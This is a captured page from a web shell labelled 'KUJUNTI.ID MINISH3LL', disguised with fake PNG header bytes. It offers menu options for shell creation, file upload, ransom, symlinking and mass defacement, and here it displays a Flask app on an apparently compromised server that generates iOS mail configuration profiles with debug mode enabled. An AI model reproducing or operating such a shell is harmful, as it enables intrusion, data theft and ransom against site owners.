\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/mobile-ob/LanguageLearner/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/mobile-ob/LanguageLearner/main.py


from app import app
from flask import render_template, request, send_file, jsonify, send_from_directory
from flask_login import login_required
from utils.mobileconfig import generate_mobileconfig
from routes.auth import auth
import io
import uuid
import logging

# Configure logging
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)

# Register blueprints
app.register_blueprint(auth)

@app.route('/')
@login_required
def index():
    return render_template('index.html')

@app.route('/attached_assets/<path:filename>')
def serve_asset(filename):
    return send_from_directory('attached_assets', filename)

@app.route('/generate', methods=['POST'])
@login_required
def generate():
    try:
        logger.debug("Starting mobileconfig generation")
        # Get form data
        data = {
            'email': request.form.get('email'),
            'name': request.form.get('name'),
            'imap_host': request.form.get('imap_host'),
            'imap_port': request.form.get('imap_port'),
            'smtp_host': request.form.get('smtp_host'),
            'smtp_port': request.form.get('smtp_port'),
            'use_ssl': request.form.get('use_ssl') == 'true',
            'username': request.form.get('username'),
            'caldav_host': request.form.get('caldav_host'),
            'caldav_port': request.form.get('caldav_port'),
            'caldav_path': request.form.get('caldav_path'),
            'caldav_username': request.form.get('caldav_username'),
            'carddav_host': request.form.get('carddav_host'),
            'carddav_port': request.form.get('carddav_port')
        }

        # Log received data (excluding sensitive information)
        safe_data = {k: v for k, v in data.items() if 'password' not in k}
        logger.debug(f"Received form data: {safe_data}")

        # Validate required fields
        required_fields = ['email', 'name', 'imap_host', 'imap_port', 'smtp_host', 'smtp_port', 'username']
        for field in required_fields:
            if not data[field]:
                logger.error(f"Missing required field: {field}")
                return jsonify({'error': f'Missing required field: {field}'}), 400

        # Generate mobileconfig content
        try:
            mobileconfig_content = generate_mobileconfig(data)
            logger.debug("Mobileconfig content generated successfully")
        except Exception as e:
            logger.error(f"Error generating mobileconfig content: {str(e)}")
            return jsonify({'error': 'Failed to generate configuration content'}), 500

        # Create file-like object
        try:
            file_buffer = io.BytesIO(mobileconfig_content.encode('utf-8'))
            logger.debug("File buffer created successfully")
        except Exception as e:
            logger.error(f"Error creating file buffer: {str(e)}")
            return jsonify({'error': 'Failed to create configuration file'}), 500

        # Generate unique filename
        filename = f"email_config_{uuid.uuid4().hex[:8]}.mobileconfig"
        logger.debug(f"Generated filename: {filename}")

        return send_file(
            file_buffer,
            mimetype='application/x-apple-aspen-config',
            as_attachment=True,
            download_name=filename
        )

    except Exception as e:
        logger.error(f"Error generating mobileconfig: {str(e)}")
        return jsonify({'error': 'Failed to generate configuration file'}), 500

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

© KUJUNTI.ID